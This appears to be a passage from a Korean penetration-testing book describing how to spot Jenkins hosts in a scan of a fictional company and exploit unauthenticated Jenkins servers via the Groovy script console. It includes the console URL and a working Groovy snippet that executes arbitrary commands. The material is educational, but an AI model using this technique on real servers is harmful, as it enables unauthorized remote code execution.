SUCK사 시스템을 스캔하면 프린터 등 일반적인 서비스는 물론, 몇 개의 Jenkins 호스트도 볼 수 있다. HTTP 스크린샷의 장점 중 하나가 바로 모든 Jenkins 서버를 함께 볼 수 있다는 것이다. Jenkins는 지속적으로 통합 서비스를 제공해 소프트웨어를 개발할 수 있는 웹 애플리케이션으로, 네트워크를 파악하는 데 도움이 될 몇 가지 특성이 있다.
![](https://thebook.io/img/006840/084.jpg)
▲ 그림 2-26 HTTP 스크린샷
인증되지 않은 Jenkins 서버는 그루비Groovy 스크립트를 사용한 원격 코드 실행을 허용하는 취약점이 있다고 알려져 있다. 8080번 포트로 Jenkins 서버의 /script/script에 들어가 이 취약점을 이용하는 방법을 소개한 글이 Pentestgeek.com에 실려 있다.
http://[IP]:8080/script/script
스크립트 콘솔에서 임의의 그루비 스크립트 코드를 실행할 수 있다.6
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[실행할 코드]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
6 https://www.pentestgeek.com/2014/06/13/hacking-jenkins-servers-with-no-password/